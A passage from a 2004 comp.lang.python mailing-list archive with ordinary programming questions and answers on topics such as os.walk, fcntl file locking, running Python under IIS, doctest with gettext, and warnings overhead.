> http://www.python.org/doc/current/lib/module-getopt.html
> 
> Depends on how many arguments you are planning to support I guess.

Or if you are using Python-2.3 go for:
http://www.python.org/doc/current/lib/module-optparse.html

It is available as seperate package (http://optik.sf.net) for older 
versions as well.

Regards
Mirko


From sax at csmisc72.cs.chalmers.se  Mon Feb  9 05:04:10 2004
From: sax at csmisc72.cs.chalmers.se (Stefan Axelsson)
Date: 9 Feb 2004 10:04:10 GMT
Subject: Had Phyton suggested
References: <4026488d$0$95048$edfadb0f@dread11.news.tele.dk>
	<c05k7b$ndl$1@news.freedom2surf.net>
	<ZWuVb.246007$I06.2735974@attbi_s01>
Message-ID: <slrnc2emoq.2mr.sax@csmisc72.cs.chalmers.se>

In article <ZWuVb.246007$I06.2735974 at attbi_s01>, djw wrote:
> Angry, no. But I don't think your advice is very sound. First, Python 
> "compiles" to bytecodes much the way Java does. If Java does anything 
> different, it is that it can employ a JIT compiler to speed up the 
> execution of the bytecodes. 

And if you are on the i386 platform and download the Psyco
(http://psyco.sourceforge.net) 'JIT' compiler, that difference
vanishes also. And Psyco can actually profile first, then JIT, which
is beyond the Java JIT.

I've used it extensively for a wxPython based project and it works
like a charm, speeding up the 'algorithmic' sections of my code to the
point where I didn't have to consider dropping down to 'C' to get the
responsiveness I needed.

Check it out. I give it two thumbs up.

Stefan,
-- 
Stefan Axelsson                  (email at http://www.cs.chalmers.se/~sax)


From http  Thu Feb  5 15:01:01 2004
From: http (Paul Rubin)
Date: 05 Feb 2004 12:01:01 -0800
Subject: Print function and spaces
References: <mailman.1237.1075981181.12720.python-list@python.org>
Message-ID: <7xsmhps3cy.fsf@ruckus.brouhaha.com>

"Dan Williams" <dan at ithium.net> writes:
> I'm getting a little annoyed with the way the print function always adds a
> space character between print statements unless there has been a new line.

Print is a statement, not a function.

> The manual mentions that "In some cases it may be functional to write an
> empty string to standard output for this reason." Am I the only the who
> thinks that this sucks? It's the first thing I've come across in Python that
> I really think is a design flaw.

It's sort of a legacy thing, I believe.  I don't like it either.  It goes
against the Python principle that explicit is better than implicit.  If
I want a space in the output, I'd rather ask for one.


From jjl at pobox.com  Fri Feb  6 19:47:55 2004
From: jjl at pobox.com (John J. Lee)
Date: 07 Feb 2004 00:47:55 +0000
Subject: Loading a Cookie from a Dictionary
References: <401d6deb$0$49109$8f4e7992@newsreader.goldengate.net>
	<87wu76ic6x.fsf@pobox.com>
	<401dccf6$0$49110$8f4e7992@newsreader.goldengate.net>
Message-ID: <877jyziukk.fsf@pobox.com>

"Michael Sampson" <samp0082_at_umn_dot_edu> writes:

> "John J. Lee" <jjl at pobox.com> wrote in message
> news:87wu76ic6x.fsf at pobox.com...
[...]
> Assume I have a server trying to create a cookie to send to the browser.
> Instead of making the cookies one at a time like
> 
> c = Cookie.Cookie()

You probably want Cookie.SimpleCookie instead.


> c['firstname'] = 'joe'
> 
> c['lastname'] = 'samson'
> 
> c['lastname'][max-age] = 3600
> 
> I want to be able to store the info for the cookies in one dictonary and
> pass that to the constructor for Cookie(), or load it into the cookie using
> c.load().

There's no method to call to do that, AFAIK.  Just write a function
that does exactly what you write above (only getting the keys and
values from the dict, of course: you want a "name" and "value" key as
well as "max-age", etc., I guess, with values in this case "lastname"
and "samson").


John


From gandalf at geochemsource.com  Tue Feb 24 13:32:30 2004
From: gandalf at geochemsource.com (Gandalf)
Date: Tue, 24 Feb 2004 19:32:30 +0100
Subject: Python scripts in IIS
References: <LIr_b.5246$yZ1.386@newsread2.news.pas.earthlink.net>	<403A5840.CE02049@engcorp.com>	<f0u_b.6405$aT1.4998@newsread1.news.pas.earthlink.net>	<403A7103.7F1CE0D8@engcorp.com>	<aHv_b.6560$aT1.3079@newsread1.news.pas.earthlink.net>	<Xns949954A8E8DA6sdfexpertunecom@216.168.3.44>
	<6DJ_b.7904$aT1.2403@newsread1.news.pas.earthlink.net>
Message-ID: <403B98BE.8040709@geochemsource.com>


Jon Cosby wrote:

>"Scott F" <sdfATexpertuneDOTcom> wrote
>  
>
>>>Sorry. It's in the browser window. The script does not execute. I
>>>have "Show friendly http error messages" set to false in Internet
>>>Explorer. As it happens on all of the scripts, I can't single out
>>>one command. I have ActiveState's build of Python 2.3, and don't
>>>recall running into this previously, but there might be something
>>>in the IIS configuration I'm overlooking.
>>>      
>>>
>>Go to the Properties of the (Default) Web site, Home Directory tab,
>>Configuration button.  On the Mappings tab, add a mapping for Python in
>>the form
>>
>><pathtopython>\python.exe %s %s
>>
>>Use your actual pathtopython and don't substitute anything for %s %s.
>>
>>Should work fine.
>>
>>    
>>
>Thanks. I had left out the trailing arguments. What is "%s" for, anyway?
>
>Jon
>  
>
Sorry, I just read this message. I did not the beginning of this thread. 
Jon, why don't you register
Python as an ActiveX scripting language? You can download and install 
pywin32 extensions:

https://sourceforge.net/projects/pywin32/

then you can run this script:

site-packages\win32comext\axscript\client\pyscript.py

This will register Python as an ActiveX scripting language.
Then you can create an ASP page like this (index.asp):

<%@ Language=Python %>
<%
lst = [0,1,2,3]
Response.write(str(lst))
%>

I think it is better (and faster) to use Python as an ActiveX scripting 
language then to use it as a CGI program.
Best,

   G

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From teiffel at attglobal.net  Wed Feb 25 14:31:32 2004
From: teiffel at attglobal.net (Marcello Pietrobon)
Date: Wed, 25 Feb 2004 14:31:32 -0500
Subject: os.walk walks too much
In-Reply-To: <c1i8a1$gnj$01$1@news.t-online.com>
References: <mailman.96.1077712778.8594.python-list@python.org>
	<c1i8a1$gnj$01$1@news.t-online.com>
Message-ID: <403CF814.1050208@attglobal.net>

Thank you everybody for all the answers.
They all have been useful :)

I have only two question reguarding Peter Otten's answer

1)
What is the difference between

 for dirname in dirs:
    dirs.remove( dirname )

and

 for dirname in dirs[:]:
    dirs.remove( dirname )

( I understand and agree that there are better ways, and at list a reverse iterator should be used )



2)

def walk_files(root, recursive=False):
    for path, dirs, files in os.walk(root):
        for fn in files:
            yield os.path.join(path, fn)
            if not recursive:
                break

seems not correct to me:

because I tend to assimilate yield to a very special return statement
so I think the following is correct

def walk_files(root, recursive=False):
    for path, dirs, files in os.walk(root):
        for fn in files:
            yield os.path.join(path, fn)
        if not recursive:
            break


is that right ?

Thank you very much,
Marcello



Peter Otten wrote:

>Marcello Pietrobon wrote:
>
>  
>
>>I am using Pyton 2.3
>>I desire to walk a directory without recursion
>>
>>this only partly works:
>>def walk_files() :
>>    for root, dirs, files in os.walk(top, topdown=True):
>>        for filename in files:
>>            print( "file:" + os.path.join(root, filename) )
>>    
>>
>
>This is *bad*. If you want to change a list while you iterate over it, use a
>copy (there may be worse side effects than you have seen):
>          for dirname in dirs[:]:
>  
>
>>        for dirname in dirs:
>>             dirs.remove( dirname )
>>because it skips all the subdirectories but one.
>>
>>this *does not* work at all
>>def walk_files() :
>>    for root, dirs, files in os.walk(top, topdown=True):
>>        for filename in files:
>>            print( "file:" + os.path.join(root, filename) )
>>    
>>
>
>You are rebinding dirs to a newly created list, leaving the old one (to
>which os.walk() still holds a reference) unaltered. Using
>
>          dirs[:] = []
>
>instead should work as desired.
>
>  
>
>>        dirs = []
>>
>>    
>>
>
>Here's what I do:
>
>def walk_files(root, recursive=False):
>    for path, dirs, files in os.walk(root):
>        for fn in files:
>            yield os.path.join(path, fn)
>            if not recursive:
>                break
>                
>Peter
>  
>





From dave at pythonapocrypha.com  Fri Feb 27 19:03:28 2004
From: dave at pythonapocrypha.com (Dave Brueck)
Date: Fri, 27 Feb 2004 17:03:28 -0700
Subject: Python as replacement for PHP?
References: <403fa54b@news.zianet.com>
	<c1obji$8m9$1@solaris.cc.vt.edu><mailman.221.1077919048.8594.python-list@python.org>
	<c1oio8$rfc$1@solaris.cc.vt.edu>
Message-ID: <051501c3fd8e$4bbff300$6401fea9@YODA>

Bart wrote:
> Dave Brueck wrote:
>
> > Bart wrote:
> >> Erik Johnson wrote:
[snip]
> >> When it comes to dynamic, DB driven sites, PHP is the only way to go.
> >> Python is not even close to being suited for this task. PHP claims to be
> >> a general-purpose language, but I do not know anyone who uses it for
> >> anything other than dynamic Web programming.
> >>
> >> A serious business decision? PHP would be the only winner here. You
> >> should not even be considering another language for this, it borders on
> >> stupidity.
> >
> > What on earth?! Each is entitled to his or her own opinion, but this is a
> > bit over the top. The OP would do well to search the Google archives as
> > this topic has come up many times, and there are many who disagree with
> > the above opinion. Even if in the end the OP decided to stick with PHP
> > (personally I wouldn't), considering Python definitely does _not_ border
> > on stupidity.
> >
> > -Dave
>
> Sorry, I disagree. As a business decision, it does border on stupidity. Why
> contemplate doing something with Python that would be tedious and difficult
> at best when PHP can do this task easily and quickly???

Specifically which Python templating language(s) have you tried and found to be
"tedious and difficult" to use? Why is it that some people, knowing both PHP
and Python, opt for Python? It's gotta be something more than their own
stupidity. :)

ISTM you're way overstating the gap, if there is one in the general sense. It's
trivial to think of cases where PHP would be the "right" choice and others
where Python would be the "right" choice, so it's hard to put much stock in any
claim that it's so black-and-white, especially when you know so little of the
OP's requirements. Is it one of those "nobody ever got fired for buying IBM"
things? :) I can believe that for some DB driven dynamic web sites PHP would be
better suited, but *always*? No way.

> The OP spoke of a DB driven dynamic Web site. One cannot think of such a
> thing without naturally thinking of PHP... python should not even come to
> mind for this task.
> Backend/server-side processing, sure, but not on the
> frontend. Use the RIGHT tool for the job. Python isn't the right tool here.

But why? What specifically is it about Python that makes one "stupid" for
considering it? (and does that mean that the many people who *do* use it - and
do so quite successfully - for such tasks are stupid?). Maybe I haven't seen
the light yet, but it's worked pretty well for me.

PHP has some good features, but it's certainly not perfect. Maybe it'd be okay
if it's were your first programming language, for example, but if you are an
experienced developer in other languages then PHP has its own bag of ...er...
surprises (did PHP5 finally fix the horrible copy-on-assignment "feature"?).

I have a friend who made a living for awhile as a "fireman" for PHP
projects-turned-disasters. In assessing the root causes of the disasters, much
of it was attributed to developer sloppiness or lack of experience, but a lot
of it went to language oddities such as weak OO facilities or the
over-encouragement of global variables. Overall the impression was that as PHP
projects grow in size, they tend to get unmanageable at a rate faster than
"normal" (compared to other languages). Anyway, I cite it only because it's a
web developer who has more experience than I do with PHP, but who avoids it in
his own projects due to specific experience with its problems.

There's just no validity to making the claim that the choice is so clear-cut.
Right tool for the job indeed!

-Dave




From __peter__ at web.de  Fri Feb 27 11:44:24 2004
From: __peter__ at web.de (Peter Otten)
Date: Fri, 27 Feb 2004 17:44:24 +0100
Subject: Problem with mixing doctest with gettext _()
References: <Ysz%b.20076$253.1212052@news20.bellglobal.com>	<mailman.191.1077856934.8594.python-list@python.org>	<FZG%b.20178$253.1255290@news20.bellglobal.com>
	<mailman.199.1077893785.8594.python-list@python.org>
	<uZJ%b.23270$ee3.513937@news20.bellglobal.com>
Message-ID: <c1ns58$kti$03$1@news.t-online.com>

Pierre Rouleau wrote:

> Skip Montanaro wrote:
> 
>> If you really want a dummy _() you can also stuff your version into
>> builtins:
>> 
>>     >>> import __builtin__
>>     >>> def foo(s): return s
>>     ...
>>     >>> __builtin__._ = foo
>>     >>> _
>>     <function foo at 0x1d6670>
>>     >>> _("hi")
>>     'hi'
> 
> I tried that, but it only works for the first call...

Setting __builtin__._ to the result of the last calculation is a side effect
of sys.displayhook. Therefore you need to change that too:

Python 2.3.3 (#1, Jan  3 2004, 13:57:08)
[GCC 3.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import sys
>>> def mydisplayhook(a):
...     if a is not None: sys.stdout.write("%r\n" % a)
...
>>> def foo(s): return s
...
>>> sys.displayhook = mydisplayhook
>>> import __builtin__
>>> __builtin__._ = foo
>>> _("hi")
'hi'
>>> _("hello")
'hello'
>>>

Peter


From rpm1deleteme at direcway.com  Fri Feb 13 18:01:50 2004
From: rpm1deleteme at direcway.com (RPM1)
Date: Fri, 13 Feb 2004 18:01:50 -0500
Subject: beeline through tkinter
References: <qj6Xb.476569$JQ1.239547@pd7tw1no>
	<c0jhce$17t8qa$1@ID-203708.news.uni-berlin.de>
	<5zcXb.480227$JQ1.408230@pd7tw1no>
Message-ID: <c0jktm$175t8l$1@ID-203708.news.uni-berlin.de>


"Elaine Jackson" <elainejackson7355 at home.com> wrote ...
> So far I've got a script that translates a pgn file into text that can be
> typeset in a chess font to produce a pictorial representation of the game
in
> question. With a graphical interface it will eventually evolve into a pgn
> viewer/analyzer.
>

Cool.  Over the years I've tinkered with very basic chess programs
written in various programming languages.  I found python to be too
slow, (although I wonder if Numeric or Psyco might make it feasible).

There is a chess program written in python:

http://www.kolumbus.fi/jyrki.alakuijala/pychess.html

but it is very slow and pretty weak.

Good luck with the viewer,
Patrick







From ralf at brainbot.com  Tue Feb 10 18:22:30 2004
From: ralf at brainbot.com (ralf at brainbot.com)
Date: Wed, 11 Feb 2004 00:22:30 +0100
Subject: server bootstrapping upon connection (WARNING: LONG)
References: <ef08387c.0402100854.7c03b60c@posting.google.com>
	<86fzdiydpu.fsf@stronzo.brainbot.com>
	<2004021016361216807%this@isforspambot>
Message-ID: <86k72uzfih.fsf@stronzo.brainbot.com>

Benjamin Han <this at is.for.spambot> writes:

> On 2004-02-10 13:46:37 -0500, ralf at brainbot.com said:
>
>> fortepianissimo at yahoo.com.tw (Fortepianissimo) writes:
>>> The problem: I need to prevent multiple copies of the server being
>>> started. I did this by using file locking (fcntl.lockf()). However,
>>> not every time the code successfully prevented the server being
>>> started up more than one time. Here is the relevant code:
>> When using fcntl.lockf different FooClient instances in the same
>> process will be able lock the file and start another server. You could
>> either use fcntl.flock to prevent that or use some global flag.
>
> Hm... I didn't know there's a difference between flock() and lockf(),
> and I didn't get much info from the document either. Could you explain
> a bit on why lockf() would not lock the file?

Well, it might lock the file multiple times in the same
process. That's the problem:
----
import fcntl

def getlockfile():
    return open('serverStart.lock', 'w')

def getlock(f):
    try:
        lock(f.fileno(), fcntl.LOCK_EX|fcntl.LOCK_NB)
    except:
        return False
    return True

def doit():
    f1 = getlockfile()
    f2 = getlockfile()
    print getlock(f1), getlock(f2)

lock = fcntl.lockf
doit()

lock = fcntl.flock
doit()
---

Output is:
True True
True False


>
> Actually I wrote a tiny script just to test if lockf() does what it
> claims to do:
>
> --- CODE STARTS ---
> #!/usr/bin/env python
>
> import os,fcntl,sys
>
> print "* about to open flock.txt"
> f=open('flock.txt','w')
> print "* opened the file"
> fcntl.lockf(f.fileno(),fcntl.LOCK_EX|fcntl.LOCK_NB)
> print "* obtained the lock, enter your line below:"
> l=sys.stdin.readline()
> f.truncate()
> f.write(l)
> f.flush()
> sys.stdin.readline()
> f.close()
>
> --- CODE ENDS ---
>
> It seems it does lock the file? (Mac OS X 10.3.2).
>
>> Also be sure to keep the file open by keeping a reference to it
>> (i.e. self.serverStartLock=open(...)). For debugging purposes,
>> remove that 'if self.connect(): return' and
>> I think you'll see much more servers being started.
>
> --- CODE SNIPPET STARTS ---
> class FooClient:
>     def __init__ (self, startServer=True):
>         """Connects to FooServer if it exists, otherwise starts it and
> connects to it"""
>         self.connected=True
>         if self.connect(): return
>         elif not startServer:
>             if FOO_CLIENT_DEBUG: log('connection failed 1')
>             self.connected=False
>             return
> ..
> --- CODE SNIPPET ENDS ---
>
> Well in that case every connection will try to start a server. Good
> point on keeping a reference to the lock file though - I'll add to it
> and see what happens.
>
>>> From the log (when problem occurred) I see even *AFTER* the server
>>> was
>>> started and accepted connections (several connections came and went
>>> happily), a connection would come in and hit the "connection failed 1"
>>> log line. This shouldn't have happened as the default value of
>>> startServer for FooClient.__init__() is True. In the very same
>> Well, maybe too many connection attempts are pending...
>
> I failed to see why this should affect the default value of the
> argument... if startServer is True (default), that log line should
> have never been reached.

Well, then I suppose you're passing an false argument to
FooClient.__init__. I just wanted to say, that even if the server is
listening on that port, that connection attempts may fail.

>
> Thanks!
>
> Ben

-- 
brainbot technologies ag
boppstrasse 64 . 55118 mainz . germany
fon +49 6131 211639-1 . fax +49 6131 211639-2
http://brainbot.com/  mailto:ralf at brainbot.com


From user_77 at hotmail.com  Sat Feb  7 00:02:59 2004
From: user_77 at hotmail.com (Nobody)
Date: Sat, 07 Feb 2004 05:02:59 GMT
Subject: First  & Follow sets
Message-ID: <7k_Ub.22690$4X.479783@twister.tampabay.rr.com>

Does anyone have some python code snippets for finding First() and Follow()
sets of an LL(1) grammar handy?



Thanks





From skip at pobox.com  Tue Feb 10 20:28:41 2004
From: skip at pobox.com (Skip Montanaro)
Date: Tue, 10 Feb 2004 19:28:41 -0600
Subject: splitting tables
In-Reply-To: <pan.2004.02.11.00.00.36.241758@no.mail.it>
References: <pan.2004.02.07.20.09.11.437775@no.mail.it>
	<m3ad3usiop.fsf@hamster.pflaesterer.de>
	<pan.2004.02.08.14.03.15.475979@no.mail.it>
	<m365ehplku.fsf@hamster.pflaesterer.de>
	<pan.2004.02.10.01.05.20.183909@no.mail.it>
	<m31xp2kh2c.fsf@hamster.pflaesterer.de>
	<pan.2004.02.11.00.00.36.241758@no.mail.it>
Message-ID: <16425.34121.70774.583578@montanaro.dyndns.org>


    robsom> ... I (still) don't like the "for in range()" way to build
    robsom> loops.

That's needed only when you need a numeric index.  Much of the time you can
just iterate over a container object:

    for element in mylist:
        print element

or

    for key in mydict:
        print (key, mydict[key])

Skip



From jcarlson at nospam.uci.edu  Sat Feb 21 13:19:54 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Sat, 21 Feb 2004 10:19:54 -0800
Subject: Linguistically correct Python text rendering
In-Reply-To: <opstad-0804D8.08595821022004@news-central.ash.giganews.com>
References: <opstad-0804D8.08595821022004@news-central.ash.giganews.com>
Message-ID: <c187l6$lf8$1@news.service.uci.edu>

> Any ideas?

Perhaps using a GUI call that hooks into Windows or MacOS would be 
sufficient for you.  I don't know if tkinter or wxPython can handle it, 
but I would imagine that standard Windows gui calls wouldn't have a 
problem.  Check out the pythonwin GUI extensions:
http://www.python.org/windows/pythonwin/

  - Josiah


From JimJJewett at yahoo.com  Mon Feb  2 18:54:35 2004
From: JimJJewett at yahoo.com (Jim Jewett)
Date: 2 Feb 2004 15:54:35 -0800
Subject: Smarter way of doing this?
References: <401e4d57$0$295$edfadb0f@dread12.news.tele.dk>
Message-ID: <cab22418.0402021554.95d2f3b@posting.google.com>

Max M <maxm at mxm.dk> wrote in message news:<401e4d57$0$295$edfadb0f at dread12.news.tele.dk>...

> It takes a list of probabilities in the range 0.00-1.00, and it must 
> then randomly select one of the probabilities and return it's index.

You may wish to look at the GRADES example in the bisect documentation.

-jJ  Take only memories.  Leave not even footprints.


From rob02omni at vodafone.it  Wed Feb  4 12:48:14 2004
From: rob02omni at vodafone.it (Roberto)
Date: Wed, 4 Feb 2004 18:48:14 +0100
Subject: returning results with embedding
Message-ID: <bvrb4a$7g9$1@grillo.cs.interbusiness.it>

Hi there,
I have my application embedded.

Now i want to return a result (a string for example) from python how i can
accomplish this ??

I can capture the stdout when i use PyRun_SimpleFile ?

The function seems to be int so maybe is not possible ?

Any advice will be very appreciated!

Thanks,
-- 
Rob




From newsgroups at jhrothjr.com  Wed Feb 18 06:45:32 2004
From: newsgroups at jhrothjr.com (John Roth)
Date: Wed, 18 Feb 2004 06:45:32 -0500
Subject: PEP-0315--Enhanced While Loop: An idea for an alternative syntax
References: <XACYb.41933$hR.981878@bgtnsc05-news.ops.worldnet.att.net>
	<7x65e4j3oa.fsf@ruckus.brouhaha.com>
	<4033084D.1AEA1ADA@alcyone.com>
	<7xwu6khofz.fsf@ruckus.brouhaha.com>
Message-ID: <1036k4uio8ht875@news.supernews.com>


"Paul Rubin" <http://phr.cx at NOSPAM.invalid> wrote in message
news:7xwu6khofz.fsf at ruckus.brouhaha.com...
> Erik Max Francis <max at alcyone.com> writes:
> > do:
> >     line = inputFile.readline()
> > while line:
> >     ...
> >     line = inputFile.readline()
>
> So it's yet another workaround for Python's lack of assignment
> expressions.  I like
>
>     while (line := inputFile.readline()):
>         ...
>
> a lot better.

It may go better in this instance, but assignment in expressions
does nothing for multi-line initialization/reinitialization constructs.

John Roth




From list-python at ccraig.org  Wed Feb 25 08:58:00 2004
From: list-python at ccraig.org (Christopher A. Craig)
Date: 25 Feb 2004 08:58:00 -0500
Subject: Transitivity and direction of "binding" (was Re: Comments
	requested: brief summary of Python)
References: <mailman.50.1077643494.8594.python-list@python.org>
	<103n58pid8eh566@corp.supernews.com>
	<403BA2F0.CD017A8F@engcorp.com>
	<m3d683fj4r.fsf@pc150.maths.bris.ac.uk>
Message-ID: <t1wllmr45xz.fsf@kermit.wreck.org>

Michael Hudson <mwh at python.net> writes:

> > Why?
> 
> A name has zero or one bindings, but an object may have an arbitrary
> number of bindings to it.
> 

Additionally if you run the function 'def t(): a+=1' you get an
UnboundLocalError, indicating that the local name "a" is not bound to
any object.

So there you have it, definitive proof from the interpreter itself.
<.9 wink>

-- 
Christopher A. Craig <list-python at ccraig.org>
Perl is like Vice Grips; You can do anything with it but it is the wrong tool
for every job. -- Bruce Eckel




From dave at pythonapocrypha.com  Tue Feb 10 09:38:35 2004
From: dave at pythonapocrypha.com (Dave Brueck)
Date: Tue, 10 Feb 2004 07:38:35 -0700
Subject: Async Client with 1K connections?
References: <65779ce6.0402092357.73df9783@posting.google.com>
Message-ID: <0ce701c3efe3$91a80c30$6401fea9@YODA>

> Before I take the plunge, I'd appreciate any advice on the feasibility
> and degree of difficulty of the following...
>
> I need extremely efficient and robust _client_ software for some
> common protocols like HTTP and POP3, supporting 1,000 simultaneous
> independent connections and commensurate network throughput.  The data
> get written to files or sockets, so no GUI needed.

1000+ connections is not a problem, although (on Linux at least, and probably
others) you'll probably need to make sure your process is allowed to have open
more file descriptors, especially if you're turning around and writing data to
disk (since that uses file descriptors too). This is OS-specific and has
nothing to do with Python, but IIRC you can do something like
os.sysconf(os.sysconf_names['SC_OPEN_MAX']) to see how many fd's your process
can have open.

> I am not a Python programmer :-( but I am a "fan" :-) and I have been
> reading about asyncore/Medusa/Twisted -- which would be my best bet?

You're probably going to be ok either way, but what are your throughput
requirements exactly? Are these connections pulling down HTML pages and small
images or are they big, multi-megabyte downloads? How big is your connection?
For 99% of uses asyncore or Twisted will be fine - but if you need very high
numbers of new connections per second (hundreds) or throughput (hundreds of
Mbps) then you might need to modify the framework or build your own - still in
Python but more tailored to your specific needs - in order to get those levels
of performance.

-Dave




From martin at v.loewis.de  Wed Feb 11 12:37:04 2004
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Wed, 11 Feb 2004 18:37:04 +0100
Subject: Python.h problem-> /usr/include/python2.2/longobject.h:48:
 warning: ISO C89 does not support `long long'
In-Reply-To: <qnkptcmgz7p.fsf@arbutus.physics.mcmaster.ca>
References: <bf23f78f.0402101432.3ccff43c@posting.google.com>
	<16425.25330.886172.548459@montanaro.dyndns.org>
	<20040210231435.GB15796@spawar.navy.mil>
	<mailman.1448.1076460637.12720.python-list@python.org>
	<qnkptcmgz7p.fsf@arbutus.physics.mcmaster.ca>
Message-ID: <c0dp7s$dhr$00$1@news.t-online.com>

David M. Cooke wrote:
> Hmm, does PY_LONG_LONG have to be (at least) 64-bits? A quick grep
> through the source seems to suggest that it's used as a large integer
> type -- not as something that holds at least 64 bits.

No. Instead, PY_LONG_LONG should be intmax_t. In particular, it should
be large enough to hold a file size, and a time_t.

Regards,
Martin



From danb_83 at yahoo.com  Fri Feb  6 20:57:59 2004
From: danb_83 at yahoo.com (Dan Bishop)
Date: 6 Feb 2004 17:57:59 -0800
Subject: Custom operator
References: <2066c50.0402051336.1e8e7ee4@posting.google.com>	<20040205220748.GA8055@nl.linux.org>	<6.0.1.1.0.20040206074906.02624b30@www.mails.lu>
	<mailman.1296.1076064694.12720.python-list@python.org>
Message-ID: <ad052e5c.0402061757.2f896ad6@posting.google.com>

Gerrit <gerrit at nl.linux.org> wrote in message news:<mailman.1296.1076064694.12720.python-list at python.org>...
> mathias.foehr at mails.lu wrote:
> > I want to define new operators because mathematicians use special operators 
> > (
> >         eg circle plus (+), circle times (*), arrows ->
> > ) since centuries. It increases readability in this area and people have 
> > got used to it.
> 
> Hm, but all syntax would have to be ASCII anyway.

There are still three ASCII characters that aren't used in Python:
'@', '$', and '?'.  I don't see any obvious mathematical meaning for
them, though.


From irmen at -NOSPAM-REMOVETHIS-xs4all.nl  Mon Feb 23 09:28:08 2004
From: irmen at -NOSPAM-REMOVETHIS-xs4all.nl (Irmen de Jong)
Date: Mon, 23 Feb 2004 15:28:08 +0100
Subject: Extract data from ASCII file
In-Reply-To: <3602cff7.0402230612.4248c279@posting.google.com>
References: <3602cff7.0402220711.3f7ed46@posting.google.com>
	<mailman.164.1077464239.27104.python-list@python.org>
	<3602cff7.0402230612.4248c279@posting.google.com>
Message-ID: <403a0df8$0$570$e4fe514c@news.xs4all.nl>

Ren wrote:
> What is 'prefix' used for? I searched the docs and didn't come up with
> anything that seemed appropriated.

Umm... it's just a variable name :-)

--Irmen


From user_77 at hotmail.com  Mon Feb  9 10:06:55 2004
From: user_77 at hotmail.com (Nobody)
Date: Mon, 09 Feb 2004 15:06:55 GMT
Subject: First  & Follow sets
References: <7k_Ub.22690$4X.479783@twister.tampabay.rr.com>
	<9a6d7d9d.0402081911.27de17d7@posting.google.com>
Message-ID: <jmNVb.36806$4X.831194@twister.tampabay.rr.com>


"Aaron Watters" <aaron at reportlab.com> wrote in message
news:9a6d7d9d.0402081911.27de17d7 at posting.google.com...
> "Nobody" <user_77 at hotmail.com> wrote in message
news:<7k_Ub.22690$4X.479783 at twister.tampabay.rr.com>...
> > Does anyone have some python code snippets for finding First() and
Follow()
> > sets of an LL(1) grammar handy?
>
> Buried somewhere in kwParser I think you'll find something close
> to this, but it may not be in a form that easy to adapt (and it
> also may not be exactly what you are asking for).  It's one of the
> gadfly components:  http://sourceforge.net/projects/gadfly/
>
>    -- Aaron Watters
> ===
> February is a horrible month which should be avoided whenever
> possible.  [seen from a cookie program many years ago]
>


Thanks, I'll take a look.






From gerrit at nl.linux.org  Sun Feb  1 09:49:53 2004
From: gerrit at nl.linux.org (Gerrit Holl)
Date: Sun, 1 Feb 2004 15:49:53 +0100
Subject: specify types in method calls
In-Reply-To: <bvj3bo$4ib$1@news.rz.uni-karlsruhe.de>
References: <bvj3bo$4ib$1@news.rz.uni-karlsruhe.de>
Message-ID: <20040201144953.GB4956@nl.linux.org>

Uwe Mayer wrote:
> Is there also a way of specifying this in the method definition, i.e.
> 
> class A(object):
>     def foo( name : B ):
>         ...
> 
> which then would be equivalent to i.e.
> 
> class A(object):
>     def foo( name ):
>         assert isinstance( name, B )
>         ....
> 
> Is anything like that already available?

No, it isn't.

> Or might that be possible in future versions of Python?

Who knows :-). But personally, I don't think it's very likely, because
it's syntax sugar for something that is, I believe, not very common.
(I think it's not very Pythonic, but I can't explain why)

Gerrit.

-- 
19. If he hold the slaves in his house, and they are caught there, he
shall be put to death.
          -- 1780 BC, Hammurabi, Code of Law
-- 
PrePEP: Builtin path type
    http://people.nl.linux.org/~gerrit/creaties/path/pep-xxxx.html
Asperger's Syndrome - a personal approach:
	http://people.nl.linux.org/~gerrit/english/



From kylotan at hotmail.com  Fri Feb  6 12:33:17 2004
From: kylotan at hotmail.com (Kylotan)
Date: 6 Feb 2004 09:33:17 -0800
Subject: Warnings killing my performance
Message-ID: <153fa67.0402060933.13840e8c@posting.google.com>

I have the following code:

def IntToRandFloat(x):
    """Given a 32-bit integer, return a float in [-1.0, 1.0]"""
    x = int(x)
    x = int(x << 13) ^ x
    return (1.0-((x*(x*x*15731+789221)+1376312589)&0x7fffffff)/1073741824.0)


Basically it's a function directly copied from a C implementation. Now
it appears that the line with the left-shift causes the "losing bits
or changing sign will return a long in Python 2.4 and up" warning. All
well and good - I explicitly cast it back to an int so that the code
won't break when I upgrade Python. I also disable the warning using
warnings.filterwarnings(action = 'ignore', etc).

However when the time comes to profile my app, I see lines like these:

         11266617 function calls in 488.717 CPU seconds
   ncalls  tottime  percall  cumtime  percall
filename:lineno(function)
  3145728  129.744    0.000  364.845    0.000
terraingen.py:22(IntToRandFloat)
  3142872  150.484    0.000  235.101    0.000 warnings.py:24(warn)
  3142872   84.617    0.000   84.617    0.000
warnings.py:59(warn_explicit)

Now I obviously can't afford to have almost half my program time
consumed by warnings that I don't want to see.

It gets stranger. If I change the shift line to this:
x = int(x * (2 ** 13)) ^ x
x = int(x | 0xFFFF)

...it's still calling 'warn' once for each time IntToRandFloat is
called, but I see no warning appear, even when I don't import warnings
and disable any. I have no other imports (that i can see) which might
be disabling a warning behind the scenes.

So I have these problems: warnings are slow (even when disabled),
sometimes warnings are being issued and I never see them, and given
that I never see the warnings I don't know how to get around them.

So, my first question is to ask if there is a more efficient way of
disabling warnings?

And my second is, is there a quick way of taking an integer, shifting
it left 13 bits (or multiplying by 2 ** 13, whatever), discarding any
excess bits, and which won't cause a warning?

Lastly, a suggestion; if 2.4 will introduce an automatic promotion to
a long as a result of this shift operation, will the standard library
provide a C implementation of the lossy shift operator for those of us
that would benefit from a quick version? I'm guessing that promoting
it to a long and then getting it back to a normal int is not exactly
the speediest operation.

-- 
Ben Sizer


From brian at sweetapp.com  Tue Feb 24 13:49:17 2004
From: brian at sweetapp.com (Brian Quinlan)
Date: Tue, 24 Feb 2004 10:49:17 -0800
Subject: Comments requested: brief summary of Python
In-Reply-To: <103n58pid8eh566@corp.supernews.com>
Message-ID: <040901c3fb06$e7fae160$0000fea9@dell8200>

> The approach I like is to discard any language that
> encourages newcomers to regard
>   i = "Hello"
> as an "assignment", and to identify it instead as
> what it is for Python:  a *binding* to the name
> 'i'.

Hmmm... C is too useful a language for me to discard for terminological
reasons and, when discussing C, the term "assignment" is quite appropriate. 

Cheers,
Brian




From uche at ogbuji.net  Sat Feb 21 10:34:54 2004
From: uche at ogbuji.net (Uche Ogbuji)
Date: 21 Feb 2004 07:34:54 -0800
